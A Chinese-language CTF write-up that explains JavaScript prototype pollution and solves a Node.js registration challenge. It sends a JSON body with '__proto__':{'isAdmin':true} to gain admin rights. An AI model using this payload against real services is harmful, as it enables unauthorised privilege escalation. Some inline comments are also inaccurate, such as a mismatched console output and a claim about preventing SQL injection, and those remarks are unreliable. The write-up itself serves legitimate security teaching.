[CTF/网络安全] 攻防世界 wife_wife 解题详析
姿势
该题涉及Java Script原型链污染:JavaScript 原型链污染讲解
可以看到,后端编程语言为Node.js,
简单来讲,通过 newUser.__proto__ 可以访问到新对象的原型
未污染时:
baseUser = {
a:1
}
user = {
a:2,
b:1,
__proto__:{
c:3
}
}
// 浅复制一个对象,第一个参数位是对象的内容,后面的参数位是多个对象内容叠加进去,进行复制出一个全新的对象
let newUser = Object.assign({}, baseUser, user)
// 输出结果为{a:2,b:1},无污染
console.log(newUser) // {a: 2, b: 1}
console.log(newUser.__proto__)
//{constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
污染时:
baseUser ={
a:1
}
user = JSON.parse(' {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }} ')let newUser = Object.assign({}, baseUser, user)
console.log(newUser)//输出{a: 2, b: 1}
console.log(newUser.__proto__) //被污染,输出{c: 4},而__proto__没有被输出的原因是它为隐藏属性
我们以知识点的利用为主,查看源代码:
// post请求的路径
app.post('/register', (req, res)=>{let user = JSON.parse(req.body) // 将输入的账号密码从json字符串转成对象
// 判断有没有输入账号和密码
if(!user.username ||!user.password){return res.json({ msg: 'empty username or password', err: true})}
// 判断账号是否存在总对象的username里,若注册时输入的用户名相同,则输出用户名已存在
if(users.filter(u => u.username == user.username).length){return res.json({ msg: 'username already exists', err: true})}
//如果用户是管理员但邀请码不匹配,会将 user.isAdmin 设为 false,并返回一个错误的 JSON 响应。
//由于邀请码是常量 INVITE_CODE,其值在代码执行期间不会发生变化。这意味着无论用户提交的邀请码是什么,其与 INVITE_CODE 的比较结果将在代码执行前就已经确定。因此,无论用户如何构造输入,都不能通过修改邀请码来改变条件判断的结果,防止了SQL注入。
if(user.isAdmin && user.inviteCode != INVITE_CODE){
user.isAdmin =falsereturn res.json({ msg: 'invalid invite code', err: true})}
// 使用系统函数复制对象,打包成一个新的对象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到总对象里
res.json({ msg: 'user created successfully', err: false}) // 设置返回信息
})
若isAdmin的属性是true,则它为管理员,否则为普通用户;于是我们可构造污染。
注册页面抓包:
将
{"username":"1","password":"1","isAdmin":true,"inviteCode":"11"}
构造为
{"username":"2","password":"1",
"__proto__":{"isAdmin":true
}}
//由于之前注册过username为1,若重新注册会回显exist,因此这里将username修改为2
污染成功:
重新登录得到flag:
总结
该题考察JavaScript 原型链污染,读者可躬身实践。
我是秋说,我们下次见。
版权归原作者 秋说 所有, 如有侵权,请联系我们删除。